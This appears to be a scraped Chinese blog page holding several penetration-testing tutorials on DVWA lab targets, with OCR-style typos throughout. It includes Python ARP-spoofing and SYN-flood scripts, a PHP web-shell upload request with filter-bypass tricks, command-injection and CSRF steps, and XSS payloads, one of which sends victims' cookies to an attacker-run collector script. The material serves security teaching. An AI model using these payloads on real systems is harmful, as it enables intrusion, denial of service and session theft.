fileno()套接字的文件描述符。3、Scapy模板Scapy是一个Python 程序,使用户能够发送、嗅探和剖析并伪造网络数据包。Scapy 模块是探测、扫描或攻击网络的工具。4、利用Nmap模板扫描存活主机在 Kali Linux 中创建hostalive_scan.py 文件,代码如下:import nmap scanner = nmap.PortScanner() gateway = '192.168.217.0' for i in range(1,256): ip = gateway[:-1] + str(i) result = scanner.scan(hosts = ip,arguments ='- sp') if result['scan'] !={}: print (ip + ":alive") 代码中导人Nmap模块,利用模块中对象PortScanner 的扫描功能对输人192.168.217.0/24 网段进行扫描,最后用 print 函数输出:小贴士:Python 语言分为 Python 2、Python 3 两种,两者略有区别,在本任务中采用Python2中的代码。5、构造TCP包扫描端口在Kali Linux 中创建 tcp_scan.py 文件,代码如下:from scapy.all import* def tcpscan(host,port): rep =sr1(IP(dst =host)/TCP(dport = port,flags = "S"),timeout =1,verbose =0) if(rep.haslayer(TCP)): if(rep.getlayer(TCP).flags =="SA"): print '[+]%d/tcp is open'% port def portscan(host): print 'scan starting %s...'%host for port in range(1,1024): tcpscan(host,port) print 'scan over' if __name__=='__main__': host = input("put in a ip:") portscan(host) 代码中,if__name__=='__main__'是入口函数;input是数据的输入函数;在函数portscan()中,利用for循环调用 tcpscan()进行端口扫描;在函数 tcpscan()中构造了一个TCP连接包 rep =srl(IP(dst = host)/TCP(dport = port,flags ="S"),timeout =1,verbose =0),这个包中,flag置为S,表明发送的是sy 包,如果得到回应包,flag 变为SA (syn ack),表明目标主机对应的TCP端口是开放的。6、利用Socket模块扫描端口在Kali Linux中创建socket_scanpy 文件,代码如下:import socket def scan now(ip,port); try: s =socket.socket(socket.AF_INET,socket.SOCK_ STREAM) result =s.connect_ex((ip,port)) if result == 0: print ("[+]"+str(port)+"open") s.close() except: pass ip = input("put in a ip;") for port in range(0,1024): scan_now(ip,port) print ("scan over") 代码中导入了 Socket 模块,通过模块对象的连接方法 (connect_ex()),利用for 循环来判断目标主机端口的开放情况。Python 和其他代码一样,支持多线程。多线程是提高程序代码执行效率的有效手段,在口扫描中加入多线程,如代码 socket_threadpy:import socket import _thread import time socket.setdefaulttimeout(3) def socket_port(ip, port): if port >= 10001: print('All of ports would be scanned!\n') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = s.connect_ex((ip, port)) if result == 0: lock.acquire() print(ip, ':', port, 'port is open') lock.release() s.close() def ip_scan(ip): print('Start scanning host:%s' % ip) for i in range(0, 500): _thread.start_new_thread(socket_port, (ip, i)) print('The port scan finished!\n') if __name__ == '__main__': url = input('Input the IP or domain you want to scan:') if url == "": print('IP is none!') exit() lock = _thread.allocate_lock() ip_scan(url) 程序中导入了线程模块 Thread,利用for 循环对 500个端口进行多线程扫描,由于每线程都看成独立的程序,程序输出结果变得混乱。当线程数量很大时程序就会报错。三、编写Python攻击脚本1、ARP协议地址解析协议 (Address Resolution Protocol,ARP) 是根据P 地址获取物理地址的一个TCP/IP 协议。主机发送信息时,将包含目标IP 地址的ARP 请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后,将该 IP 地址和物理地址存入本机ARP 缓存中并保留一定时间,下次请求时,直接查询ARP 缓存,以节约资源如图4-3-1所示,地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送 ARP 应答消息,其他主机收到应答报文时,不会检测该报文的真实生就会将其记入本机ARP 缓存,由此,攻击者就可以向某一主机发送伪 ARP 应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个 ARP 欺骗。2、SYN泛洪SYN攻击利用的是TCP 的三次握手机制,攻击端利用伪造的IP 地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。3、字典攻击字典攻击是指在破解密码或密钥时,逐一尝试用户自定义词典中的单词或短语的攻击方式。字典攻击一般在黑客试图获得一个网站的密码时发生,黑客通过事先预设在字典中的词逐一进行测试,这个攻击有时是数以亿计的概率事件。例如,甲为了破解乙方的 00 密码,就会有针对性地预先编译一些关于乙方的信息类的词在字典里,然后使用破解软件逐一测试。对于防范字典攻击的方式,有一种解决的方式就是使用次数法,比如,输入三次错误的密码后,就锁死输入框。小贴士:2019 年最常用的 20 个密码为 12345、12356123456789、test1、password、12345678、zinch、g_ czechoul、asdf、qwery 、1234567890、1234567、Aa123456、iloveyou、1234 、 abc123111111、123123、dubsmash 、 test。4、ARP欺骗攻击arp_spoof.py from scapy.all import * import time gatewayIP='192.168.217.2' srcIP='192.168.217.133' tgtIP='192.168.217.143' tgtMac =getmacbyip(tgtIP) packet = Ether(dst =tgtMac)/ARP(psrc =gatewayIP,hwdst = tgtMac,pdsttgtIP,op =2) while True: sendp(packet) print('sending arpspoof ...') time.sleep(1) 本案例功能是进行ARP 欺骗攻击,代码如下,运行结果如图所示。其中,192.168.217.2 是网关,攻击机 192.168.217.133 通过构造数据包,把网关的IP地址与自己MAC地址绑定,攻击效果如图所示。可以看到目标主机的 ARP 表中原有的网关MAC 地址在攻击过后已经被修改,变成了攻击机的 MAC 地址,如果攻击机再加入数据包转发功能,使得目标主机能正常上网,则目标主机的所有网页浏览信息将被攻击机记录下来。这里我们回到被攻击机,进行arp可以看到如图:5、SYN泛洪攻击本案例的功能是进行 SYN 泛洪攻击,代码如下:syn_flood.pyimport random import time import threading from scapy.all import * def synFlood(tgt, dPort): srcList = ['201.1.1.2', '10.1.1.102', '69.1.1.2', '125.130.5.199'] for sPort in range(1, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") packet = ipLayer / tcpLayer send(packet) tgt = '192.168.217.143' dPort = 80 synFlood(tgt, dPort) 1、引入了 random、time 和 threading 模块,以及 Scapy 库。2、定义了一个名为 synFlood 的函数,该函数接受目标IP地址 tgt 和目标端口号 dPort 作为参数。3、在 synFlood 函数中,定义了一个包含四个IP地址的 srcList 列表,用于模拟源IP地址。4、使用 for 循环遍历端口范围(1到65535)。5、在循环中,随机选择 srcList 中的一个IP地址,构建了一个IP层(IP)和一个TCP层(TCP)。6、使用 send 函数发送构建好的TCP数据包。7、在主程序中指定了目标IP地址 tgt 和目标端口号 dPort,然后调用 synFlood 函数进行SYN Flood攻击。其中伪造了四个IP地址向目标主机192.168.217.143 发送SYN包,这时目标主机不得不不停地回复SYN的请求。如果伪造的地址够多,访问量够大,会导致目标主机瘫痪。6、生成数据字典本案例是利用循环的方式,产生6位4 个字符的数据字典,代码如下:f = open("dict.txt", 'w+') chars = ['a', 'b', 'c', 'd'] base = len(chars) for i in range(0, base): for j in range(0, base): for k in range(0, base): for l in range(0, base): for n in range(0, base): for m in range(0, base): ch0 = chars[i] ch1 = chars[j] ch2 = chars[k] ch3 = chars[l] ch4 = chars[n] ch5 = chars[m] print(ch0, ch1, ch2, ch3, ch4, ch5) f.write(ch0 + ch1 + ch2 + ch3 + ch4 + ch5 + '\r\n') f.close() 运行效果如图:
0
0
0
浏览量2025
超超

渗透测试——六、网站漏洞——文件上传

一、文件包含服务器执行 PHP 文件时,可以通过文件包含函数加载另一个文件中的 PHP 代码,并且当作 PHP 来执行,这会为开发者节省大量的时间。比如创建供所有网页引用的标准页眉或菜单文件,当页眉需要更新时,只要更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件。文件包含分为:本地文件包含 (PHP 配置文件中选项allow_url_include =on),此时被包含的文件存放在本地服务器上:远程文件包含 (PHP 配置文件中选项llowurlinclude=on,allow_urlopen =on),此时被包含的文件存放在远程服务器上。PHP 中文件包含函数有四种:require()、require_once()、include()、include_once();imclude 和require 的区别主要是:include 函数在包含的过程中,如果出现错误,会抛出一个警告、程序继续正常运行;而require 函数出现错误的时候,会直接报错并退出程序的执行include_once()、require_once()这两个函数与前两个的不同之处在于这两个函数只包含一次,适用于脚本执行期间同一文件只被包含一次的情况,从而避免函数重新定义、变量重新赋值等问题的发生。但一些文件句含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。为本地文件包含,黑客能查看本地服务器中的敏感文件,为程文件含,黑客能通过远程服务器进入其内网,并查看敏感文件。二、PHP伪协议PHP 有很多内置 URL风格的封装协议,这类协议与 PHP 的 fopen()、copy()、file_exists()、filesize()等文件系统函数所提供的功能类似,称为 PHP 协议。常见的伪协议有file:///、http://、ftp://、php://、zlib://、data://等。php://伪装协议提供了对输入/输出 (I/0) 流的操作,允许访问 PHP 的输入/输出流标准输入/输出和错误描述符,以及内存、磁盘备份的临时文件流及可以操作其他读取/写人文件资源,例如php://filter、php://output、php://input 等。(1) php://filter元封装器,设计用于“数据流打开”时的“筛选过滤”,对本地磁盘文件进行读写。用法如图6-3-3 所示。构造 filename = php://filter/read = convert. base64 - encode/resource = xxx.php。条件: 只是读取,需要开启allow_url_fopen,不需要开启allow_url_include。(2) php://input可以访问请求的原始数据的只读流。即可以直接读取到 post 上没有经过解析的原始数据enctype="multipart/form -data"时,php;//input 是无效的。用法:filename =php://input,数据利用 post 传过去。以下利用 php://input 上传木马程序并执行的过程。此外,除了常见的伪协议外,还有 phar;//,这是 PHP 解压函数,不管后缀是什么,都会当作压缩包来解压。用法:flename=phar://压缩/内部文件。注意:当PHP 版本是5.3.0以上时,压缩包需要ZIP 协议压缩,RAR不行。将木马文件压缩后,改为其他任意格式的文件都可以正常使用。三、文件上传文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是 Web 服务器允许用户上传图片或者保存普通文本文件,而用户绕过上传机制上传恶意代码并执行,从而控制服务器。显然这种漏洞是 getshell 最快最直接的方法之一。需要说明的是,上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。常见校验上传文件的方法如下:(1)客户端校验1、通过 JavaScript 来校验上传文件的后缀是否合法,可以采用白名单方式,也可以采用黑名单方式。2、判断方式:在浏览加载文件,但还未单击“上传”按钮时,便弹出对话框,内容如“只允许上传.jpg/.jpeg/. ng 后级名的文件”,而此时并没有发送数据包。(2)服务器端校验1、校验请求头content - type 字段,例如用PHP检测2、 if( $_FILES['userfile ‘][’ type ']! = " mage/gif" )3、通过自己写正则匹配来判断文件头内容是否符合要求。一般来说,属于白名单的检测,常见的文件头(文件头标志位) 如下:.JPEG;.JPE;."JPGJPGGraphicFile"(FFD8FFFEOO) .gif,"GIF89A"(474946383961) .zip,"ZipCompressed"(504B0304) .doc;. xls;. xlt ;. ppt;. apr,"MSCompoundDocumentvlorLotusApproachAPRfile" ( DOCF11E0A1BILAE1)4、文件加载检测:一般是调用API或函数进行文件加测试,例如图像染测试。只有当测试结果正常时,才允许上传。5、一染 (代码注入)。6、二次渲染。7、后缀名黑名单校验8、后缀名白名单校验9、自定义。(3)WAF校验即使用不同的 WAF 产品进行过滤,通常是独立于服务程序的一段中间程序或者硬件对应校验的绕过方法。常见的校验绕过方法如下:(1)客户端校验绕过直接修改 JavaScript代码或者使用抓包的方法修改请求内容绕过,可以先上传一个 CIF木马,通过抓包修改为 jsp/php/asp。只用这种方法来检测是肯定可以绕过的。(2)服务端绕过校验请求头 content -type 字段绕过,通过抓包来修改 http 头的 content - type 即可绕过。POST/upload.php HTTP/1.1 TE:deflate,gzip;q=0.3 Connection:TE,close Host:localhost User -Agent:libwww -perl/5,803 Content -Type:multipart /form - data; boundary =xYzZY Content -Length:155 --XYzZY Content -Disposition; form -data name = "userfile"; filename ="shell.php" Content -Type: image/gif(原为 Content _Type: text/plain) <php system($_GET['command'); > --XYzZY--(3)文件(文头)测绕过在木马内容的前面插入对应的文件头内容,例如 GIF89a。更保险的方法是在可上传的文件中插入木马代码,然后修改后缀。(4)文件加载检测绕过通过例如加载文件进行图像渲染的方式来测试,这时一般需要在正常的文件中插入木马代码,例如图像。插人的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测、此时可以使用工具 (称为插马器) 进行插人,如 edjpgcom,或者直接用 copy 命今来合成。当然,这种检测不一定能够完全绕过。(5)后缀名检测绕过后缀黑名单检测:查找 blacklist (黑名单列表)的漏网之鱼,例如:大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过。扩展名:后级名检测列表中是否忽略一些扩展名。能被解析的文件扩展名列表有:jsp、jspx、jspf; asp、asa、 cer、aspx; php、php、 php3、php4、pht; exe、exee。(6)后缀白名单检测绕过%00截断漏洞如果存在这类漏洞,那么后缀名的检测都可以绕过,此时可以对上传的文件使用如下命名:test. php% 00. jpg解析漏洞这类漏洞是本身服务器的中间件产生的,例如apache、nginx都被爆出过存在解析漏洞。如果存在解析漏洞,上传的安全性几乎就完全失去了。四、文件包含页面之包含测试将安全级别设置为 Low,打开“文件包含”页面,查看源码可知页面存在文件包含漏,分别单击文件1和文件2链接。可以在 URL变量 page 后加人任意的文件名。在 page 后加入 URL参数,除了可以查看服务器上指定文件内容外,还可以执行 PHP 文件。对于一台服务器而言,网站所在的目录是极其重要的敏感信息。图为远程文件包含,框里的是包含的文件。远端文件包含可以从一个网段到另外一个网段,危险性更大。将安全级别调整至 Medium 级别,查看代码:比起 Low 级别,Medium级别加了一个过滤。str_replace 是 PHP 替换函数,将 http://https://替换为空字符,将…/、… 替换为空字符,这样按照原有的输入是没办法看到本地和远程文件的,于是在 URL 中构造字符串绕过过滤。将安全级别调整至 High 级别,查看代码:High 级别的代码对包含的文件名进行了限制,必须为 file* 或者 include. php,否则,会提示Error:File not found。可以利用file伪协议进行绕过。调至Impossible 级别,查看代码:可以看到,Impossible 级别的代码使用了白名单过滤的方法,包含的文件名必须与白名单中的文件名相同,从而避免了文件包含漏洞的产生。五、文件上传页面之上传测试打开“文件上传”页面,把安全级别设置为 Low。查看代码,如图所示,可以知道,服务器对上传文件的类型、内容没有做任何的检查、过滤,可以上传任何文件,存在明显的文件上传漏洞。这时创建一个木马文件,并把木马文件上传到网站上去:在“蚁剑”中添加木马网站的 URL路径,输入木马的 post 值:右击,选择“文件管理”就会进入网站所在的服务器,从而控制服务器。将“文件上传”页面的安全级别设置为 Medium,查看它的代码:可以看到,服务器对上传文件的大小和类型做了限制。只允许上传小于100MB字节并且类型是jpeg或png的图像:通过抓包修改文件类型,上传木马,因为这里过滤的是文件的上传类型,而不是文件的后缀名。单击上传shell.php 的一话木马文件,然后用 Burp Suite 抓包:当PHP 版本低于5.3.4 时,处理字符串的函数认为 0x00 是终止符,那么可以利用00截断漏洞来上传一句话木马。将“文件上传”页面的安全级别设置为 High,查看它的代码:其中,getimagesize函数的作用是判断上传的文件是不是有效的图片,在执行 move_uploaded_fle 时,限制上传的文件的后缀名必须以pgjpeg 或png结尾,同时小于100 MB。为了能成功上传木马,首先把一句话木马后缀名改成 jpg 格式。这样上传也不行,因为内容要求是图片文件。这时在 shell.jpg 文件中加一个 GIF89 标识,成功上传。利用一个现有的图片文件与木马进行合成后也能上传,在 cmd 命令行输入copy/b pic. jpg +hacker. php hacker. jpg即司。此时因为上传的是图片文件,“中国菜刀”没有办法连接,那么怎样让图片文件以 PHP文件运行呢?利用文件包含中文件读取的伪协议 fle:///,输人“http://192.168.217.150/dvwa/vulnerabilities/f/page = file://c:/phpstudy/phptutorial\ www\ dvwa\ hackable uploads\1. jpg"通过页面可以看到GIF89,而木马程序也被执行了。这时可以把链接地址写到“中国菜刀”,设置 post 值,右击进即即可。
0
0
0
浏览量2021
超超

渗透测试——十、渗透列举及命令详解

一、协议配置与分析1、HTTPS 的定义HTTPS (Hyper Text Transfer Protocol over Secure Socket Layer,超文本传输安全协议)是以安全为目标的 HTTP 通道。其在 HTTP 的基础上,通过传输加密和身份认证保证了传输过程的安全性。HTTP 协议虽然使用极为广泛,但是却存在不小的安全缺陷,主要是其数据的明文传送和消息完整性检测的缺乏。HTTPS 在HTTP 的基础上加人 TLS/SSL 层。HTTPS 的安全基础是 SSL。2、HTTPS的验证HTTPS服务提供了双向的身份认证,客户端和服务器端在传输数据之前,会通过X509证书对双方进行身份认证。1、客户端发起SSL握手消息给服务端要求连接2、服务器端将证书发送给客户端。3、客户端检查服务器端证书,确认是否是由自己信任的证书签发机构签发的。如果不是,将是否继续通信的决定权交给用户选择。如果检查无误或者用户选择继续,则客户端认可服务器端的身份。4、服务器端要求客户端发送证书,并检查是否通过验证。失败则关闭连接,认证成功则从客户端证书中获得客户端的公钥,一般为1024 位或者 2 048 位。至此,服务器端、客户端双方的身份认证结束,双方确保身份都是真实可靠的。二、Kali Linux 常用工具NMAP(即网络映射器) 是 Kali Linux 中最受欢迎的信息收集工具之一。换句话说,它可以获取有关主机的信息:IP 地址、操作系统检测及网络安全的详细信息(如开放的端口数量及其含义)。它还提供防火墙规避和欺骗功能。LynisLynis 是安全审计、合规性测试和系统强化的强大工具。当然,也可以将其用于漏洞检测和渗透测试。它将根据检测到的组件扫描系统。例如,如果它检测到 Apache,它将针对入口信息运行与 Apache 相关的测试。WordPressWordPress 是最好的开源CMS之一,而这个具是最好的免费 WordPress 安全审计工具它是免费的,但不是开源的。如果想知道一个 WordPress 博客是否在某种程度上容易受到攻击,可以使用WPScan。Aircrack - ngAircrack -ng 是评估 WiFi 网络安全性的工具集合。它不限于监控和获取信息,还包括破坏网络(WEP、WPA1和WPA2)的能力。如果忘记了自己的 WiFi 网络的密码,可以尝试使用它来重新获得访问权限。它还包括各种无线攻击能力,可以使用它们来定位和监控WiFi网络,以增强其安全性。Hydra如果你正在寻找一个有趣的工具来破解登录密码,Hydra 将是 Kali Linux 预装的最好的工具之一。WiresharkWireshark 是 Kali Liux 上最受欢迎的网络分析仪。它也可以归类为用于网络嗅探的最佳Kali Linux 工具之一。Metasploit Framework ( MSF)Metasploit Framework 是最常用的渗透测试框架。它提供两个版本:一个是开源版,另外个是专业版。使用此工具,可以验证漏洞、测试已知漏洞并执行完整的安全评估。MaltegoMaltego 是一种令人印象深刻的数据挖掘工具,用于在线分析信息并连接信息点 (如果有的话)。根据这些信息,它创建了一个有向图,以帮助分析这些数据之间的链接。Skipfish与WPScan 类似,但它不仅仅专注于 WordPress。Skipfish 是一个 Web 应用扫描程序,可以提供几乎所有类型的 Web 应用程序的洞察信息。它快速且易于使用。此外,它的递归爬取方法使它更好用。Skipfish 生成的报告可以用于专业的 Web 应用程序安全评估。Nessus如果计算机连接到了网络,Nessus 可以帮助找到潜在攻击者可能利用的漏洞。当然,如果是多台连接到网络的计算机的管理员,则可以使用它并保护这些计算机。三、Windows 命令详解gpedit.msc一组策略utilman–辅助工具管理器nslookup-IP 地址侦测器explorer-打开资源管理器logoff–注销命令tsshutdn-60s倒计时关机命令lusrmgrmsc-本机用户和组services.msc–用来启动、终止并设置 Windows 服务的管理策略oobe/msoobe /a–检查 Windows XP是否激活notepad-打开记事本cleanmgr-垃圾整理net start messenger–开始信使服务compmgmtmsc-计算机管理net stop messenger–停止信使服务conf–启动 netmeetingdvdplay-DVD 播放器charmap-启动字符映射表diskmgmt.msc–磁盘管理实用程序calc-启动计算器dfrg. msc磁盘碎片整理程序chkdsk.exe-Chkdsk 磁盘检查devmgmtmsc设备管理器regsvr32/u *dll-停止 DLL文件运行drwtsn32一系统医生rononce -p-15 s关机dxdiag-检查 DirectX 信息Msconfig exe系统配置实用程序mem.exe–显示内存使用情况regedit.exe–注册表winchat-Windows XP自带局域网聊天progman-程序管理器winmsd-系统信息perfmon.msc-计算机性能监测程序winver–检查Windows 版本sfc/scannow一-扫描错误并复原taskmgr–任务管理器 (Windows 2000/XP/2003)winver-检查Windows 版本wmimgmt.msc-打开Widows管理体系结构(WMI)wupdmgr-Windows 更新程序wscript-Windows 脚本宿主设置write–写字板winmsd一-系统信息wiaacmgr一扫描仪和照相机向导winchat–Windows XP自带局域网聊天mem.exe一显示内存使用情况Msconfigexe系统配置实用程序mplayer2-简易Windows Media Playermspaint画图板mstsc一一远程桌面连接mplayer2-媒体播放机magnify-放大镜实用程序mmc一-打开控制台mobsync-同步命令dxdiag-一检查 DirectX 信息drwtsn32一-系统医生devmgmtmsc-设备管理器dfrgmsc磁盘碎片整理程序diskmgmtmsc-磁盘管理实用程序dcomcnfg-打开系统组件服务ddeshare打开 DDE 共享设置net stop messenger 一停止信使服务net start messenger -开始信使服务notepad一-打开记事本nslookup-网络管理的工具向导ntbackup-系统备份和还原narrator-屏幕“讲述人”ntmsmgrmsc一一移动存储管理器ntmsoprq.msc-移动存储管理员操作请求netstat -an-(TC)命令检查接口syncapp—创建一个公文包sysedit—系统配置编辑器sigverif:文件签名验证序
0
0
0
浏览量2026
超超

渗透测试——七、网站漏洞——命令注入和跨站请求伪造(CSRF)

一、命令注入命令注入(命令执行) 漏洞是指在网页代码中有时需要调用一些执行系统命令的函数例如 system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。常见连接符如下:A;B,# 先执行A,再执行 B。 A&B,# 简单拼接,A、B之间无制约关系 A|B,# 显示B的执行结果。 A&&B,# A执行成功,然后才会执行 B。 A||B,# A执行失败,然后才会执行 B。命令注入漏洞的分类如下:(1)代码层过滤不严商业应用的一些核心代码封装在二进制文件中,在 Web 应用中通过 system 函数来调用svstem( “bin/program – arg $arg”) 😮(2) 系统的洞造成命令注入例如 Bash 破壳漏洞(CVE-2014 -6271)(3)调用的第三方组件存在代码执行漏洞例如 WordPress 中用来处理图片的ImageMagick 组件、Java 中的命令执行漏洞 (Struts2/Elasticsearch Groovy 等)、ThinkPHP 命令执行等。对于命令注入,可从以下几个方面进行防御:1、尽量少用执行命令的函数或者直接禁用。2、参数值尽量使用引号括,并在拼接调用 addslashes 函数进行转义3、在使用动态函数之前,确保使用的函数是指定的函数之一4、在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义。5、在可控点是程序参数的情况下,使用escapeshellcmd 函数进行过滤;在可控点是程序参数值的情况下,使用escapeshellarg 函数进行过滤。二、跨站请求伪造(CSRF)跨站请求伪造(cross-site request forgery),也被称为 one-click attack 或者 session riding.通常缩写为 CSRF 或者XSRF,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作 (例如发邮件、发消息,甚至财产操作,比如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。三、命令注入页面之注人测试将安全级别调整至 Low 级别,打开“命令注人”页面,查看源码,可以知道 Low 级别的代码接收了用户输入的 IP,对目标P 从主机服务器的角度进行 ping 测试。代码中对用户输人的IP 并没有进行任何的过滤,所以利用该漏洞进行命令注入。网页在编辑时,要注意编码格式,使用UTF -8 格式时,中文相应地会出现HTML乱码。可以利用&、&&、|、||等命令连接符,在 ping 完后再执行系统命令,如查看IP 信息、为服务器添加用户 等非法操作。将安全级别调整至 Medium 级别,打开“命令注入”页面,查看源码,可以知道 Medium级别的代码在 Low 级别代码的基础上增加了对字符“&&”和“;”的过滤,但在做 Low 级别实验时,用的字符“&”并不在它的过滤范围中。&& 和&的区别在于,&& 是执行完前面的命令后,再执行后面的命令;& 是不管前面的命令是否已执行,后面的都执行。将安全级别调整至 High 级别,打开“命令注入”页面,查看源码,可知道 High 级别的代码进行了黑名单过涨,把一些常见的命令连接符给过滤了。黑名单过滤看似安全,但是如果黑名单不全,则很容易进行绕过。仔细看黑名单过滤中的“1”,其后面还有一个空格,于是用“1”或者“1”又可以绕过。实际渗透中,命令注入可以用来修改上传文件的文件类型。利用“重命名”命令把上传的JPG 文件改成 PHP 文件。四、CSRF页面之请求伪造测试将安全级别调整至 Low 级别,打开“CSRF”页面。页面功能是用户更新密码,但代码里没有对更改代码的合理性做验证。在界面中输入要修改的密码并用 Burp Suite 软件抓包,修改密码的 URL为:这时攻击者可利用这个 URL,稍做修改,发送给受害者,并引诱受害者在登录网站的情况下点击,如 URL 修改为 http://192.168.217.130/dvwa/vulnerabilities/csrf/? password_new =harker&password_conf = harker&Change =%E6%9B%B4%E6%9%B9#,受害者点击链接后,就会在不知情下把登录网站的密码修改为“harker”。为了隐藏攻击者发送的URL,可将URL链接写在网页里,发布在攻击者的网站上,当受害者无意中浏览攻击者的网站时原有的密码被修改。将安全级别调整至 Medium 级别,打开“CSRF”页面。Medium 级别比Low 级别多了一个验证:if(stripos($_SERVER HTTPREFERER门SERVER['SERVER NAME )! == false)。验证受害者访问的网页与修改密码网页是否同一网站。这时含有 CSRF 的网页就不能放在攻击者的服务器上了,而需要利用文件上传的方式上传至与受害者访问修改密码网页的网站上进行访问。High 级别的代码加入了 Anti - CSRF token 机制,用户每次访问修改密码页面时,服务器都会返回一个随机的 token。向服务器发起请求时,需要提交 token 参数,而服务器在收到请求时,会优先检查 token,只有 token 正确,才会处理客户端的请求。要绕过这个机制,就需要获得 token 值,这需要一定的网页编程基础,这里就不赘述了。
0
0
0
浏览量2021
超超

渗透测试——八、网站漏洞——XSS跨站脚本攻击

一、XSS的定义XSS 攻击(跨站脚本攻击) 通常指的是利用网页开发时留下的洞,通过巧妙的方法注人恶意指令代码,使正常用户在访问网页时泄露敏感信息的攻击行为。这些恶意网页程序通常是Java-Script,但实际上也可以是 Java、VBScript、ActiveX、Flash,甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(例如执行一些操作)、私密网页内容、会话和Cookie 等各种内容。二、XSS的分类按攻击代码的工作方式,XSS 可以分为三个类型:1、持久型跨站:是最直接的危害类型,跨站代码存储在服务器 (数据库) 中。2、非持久型跨站:反射型跨站脚本漏洞,是最普遍的类型。步骤为:用户访问服务器一)跨站链接-+返回跨站代码。3、DOM跨站 (DOM XSS):基于 DOM 的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM 环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地 DOM 的恶意篡改利用。三、XSS的攻击手段1、盗用 cookie,获取敏感信息。2、利用植入的 Flash,通过 crossdomain 权限设置进一步获取更高权限,或者利用Java 等得到类似的操作。3、利用 irame、frame、XMLHttpRequest 或上述Fash 等方式,以用户(被攻击)的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。5、访问量极大的一些页面上的 XSS 可以攻击一些小型网站,实现 DDOS 击的效果。四、XSS(DOM型)网页之XSS测试将安全级别调整至Low 级别,打开“XSS (DOM型)”页面:从源代码可以看出,这里 Low 级别的代码没有任何保护。这时构造 URL;http;//192,168.217.130/dvwa/vulnerabilities/xss_d/? default =< script > alert('hack')</script>,按 Enter 键,执行成功。<script>alert('hack')</script>是JavaScript 语句,作用是弹出一个“hack”弹框,也可以获得用户在网页上的信息,甚至密码等。现实中,攻击者常常可以参照以下流程获得敏感信息首先,攻击者在自己的服务器上发布如下网页:cookie.php <?php $cookie=$_get['$cookie']; $file_put_contents('cookie.txt',$cookie); ?>作用是将 get 请求参数存储到 cookie 变量中,并且把 cookie 写到 cookietxt 文件中,然后构造一段 JavaScript 攻击脚本,比如:<script>document.location='http://攻击者服务器地址/cookie.php/cookie='+document.cookie; </script> //document.location 将页面的内容传向指定位置最后寻找一些能进行 XSS 基本注人的网站,或把脚本上传到网站 (存储型),或直接构造URL如下:http://192,168.217.130/dvwa/vulnerabilities/xss_d/default=<script>document.location ='http://127.0.0.1/cookie.php/cookie ='+document.cookie:</script ># //要对参数进行 URL 发送给受害者,当受害者访问链接时,就会把受害者访问时的 cookie 信息发送给攻击者服务器,并记录在 cookie.txt 文件中。将安全级别调整至 Medium 级别,打开“XSS(DOM型)”页面:可以看到,Medium级别的代码先检查了 default 参数是否为空,如果不为空,则使用 stripos 函数检测 default值中是否有“<script”,如果有,则将 default 设置为 English,从而避免XSS弹框出现。构造 URL:http://192.168.217.130/dywa/vulnerabilities/xss_d/?default= English </option > </select > <img src ="1" onerror ="alert(' hack ')">按 Enter 键,执行成功。构造的 URL首先闭合 English 前面的<option >、<select >标签;其次利用img标签的onerror 事件(和<script>类似),在加载图像的过程中,如果发生错误,会触发脚本:最后执行脚本,弹出信息。将安全级别调整至 High 级别,打开“XSS (DOM型)”页面。从代码中可以看出,后台代码白名单只允许 default 值为 French、English、German、Spanish中的一个。构造 URL: http://192.168.217.130/dvwa/vulnerabilities/xss_d/?default=English# <script>alert('hack')</script>,按 Enter 键,执行成功。构造的URL为了绕过白名单过滤,采用了#符号,其注释部分的 JavaScript 代码不让进行后台验证。五、XSS(反射型)网页之测试将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:代码并没有对XSS 攻击进行任何限制,试着输入“<script >alert('hacker')</script>”单击“提交”按钮。将安全级别调整至 Medium 级别,打开“XSS (反射型)”页面:Medium级别只是将<script>标记替换为空,这时使用“<SCRIPT >alert('hacker ')</SCRIPT>”大写绕过,单击“提交”按钮:将安全级别调整至 High 级别,打开“XSS (反射型)”页面:可以看到,High 级别的代码使用了正则表达式,直接把“<*s*c*r*i*p*t”给过滤了,*代表一个或多个任意字符,i代表不区分大小写。这时使用<script>标记已经没有作用了。在上一案例中接触到img标签的 onerror 事件,其也能触发脚本,于是构造“<img src= # onerror=alert('hacker')>”,单击“提交”按钮。六、XSS(存储型)网页之测试存储型XSS 是将 Script 语句上传并存储在一个网站上,受害者访问这个网站时,存储的脚本被激活,受害者的敏感信息则被发送到攻击者的服务器上。将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:代码中的 